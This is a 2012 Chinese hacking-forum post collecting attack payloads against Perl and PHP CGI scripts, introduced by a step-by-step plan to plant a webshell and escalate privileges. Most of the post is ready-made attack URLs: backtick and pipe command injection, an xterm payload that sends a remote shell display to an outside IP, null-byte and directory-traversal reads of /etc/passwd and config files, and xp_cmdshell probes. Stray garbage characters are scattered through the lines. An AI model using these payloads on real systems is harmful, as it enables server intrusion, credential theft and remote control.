找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2567|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
: j. t% F  _& Z1 P  C: L( @cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  4 I/ l8 ]- o  V9 ]+ H7 [
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  0 v2 P0 m2 l0 v
注“  , Z$ p; E; ]: X. d3 M% d3 X1 @
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  # n  w* U" C, v2 R2 u/ e" `
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  6 R/ i# {# N. |9 `; _
+ t/ f' u/ V' O
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
  o% I; ?# [3 c- o9 Rhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  ( h* J& [; Z, C7 M6 N
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
0 }& k* q& H: b5 I. Ohttp://target.com/cgi-bin/home/news/sub.pl?`id`  : p& H* A% _( h/ B) c5 ~2 n
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  3 f" W) w* ~  @3 \8 K
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  , ^& }$ s- A. X. ?

3 ~! I4 e" a+ w0 W- N& ahttp://target.com/test.pl;ls|  2 _; `0 L  y. |- F# b
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  1 Y: K; `2 i- I- Y% q
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  8 N4 [" r+ J" h/ B; r  D9 R! L, Z
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  ; g) D! B2 Y) F( T. ?" ^$ ^- D
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
" U5 F. ~' g7 P! H# {http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  5 R+ a0 F- V8 n% _, e
( a/ W) q& `1 n; @
http://target.com/test.pl?&........ /../../etc/passwd  
2 Y' C" u7 A, O8 E$ n2 u- e7 |+ s2 n
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
1 ^& N& {. [% Khttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
+ p! O! ]. N" A0 V8 a, W. shttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
4 i8 k3 Q( s' }+ |: |/ L$ f  K/ x% q. O% w, f
http://www.target.org/show.php?f ... /include/config.php 查看php代码  4 ^; @' P8 g0 D2 j& N- _
http://www.target.org/show.php?f ... ng/admin/global.php  
$ ]5 T* r9 ]! n5 T, |
( O/ C* j0 L, G1 c! O% h. C  demm和ps的一句话3 P1 M) N( Z( p1 U% F( W; b/ Q
: q, k) o5 P! A6 |
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  % ]1 X7 X; [( W% W2 Y9 |: E$ k, U4 V% c
* `% @: [$ l; S( J
>bbb%20|  
- @- c' W; Y, ?' z2 C
4 j6 D+ K3 o# yhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
- q8 I5 B( V' Q) H" Y4 X: `0 n1 v7 e: {; A( O) y( w& V1 m& @
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  9 m" i1 q' K- a1 Q3 S% t" }% Y  y3 z
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
, o5 M  l0 q: a; z+ x& {; t+ Q2 b: F/ W2 R# P9 R
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  ) [, P: \5 r- J& p: o' K6 [* t
http://target.com/index.html#cmd.exe  
( x/ p% I7 F4 khttp://target.com/index.html?dummyparam=xp_cmdshell  9 R6 W7 k; N* V7 z  Q2 M/ b! h+ `
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  # E- Z$ M3 e+ s  Z, O  T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表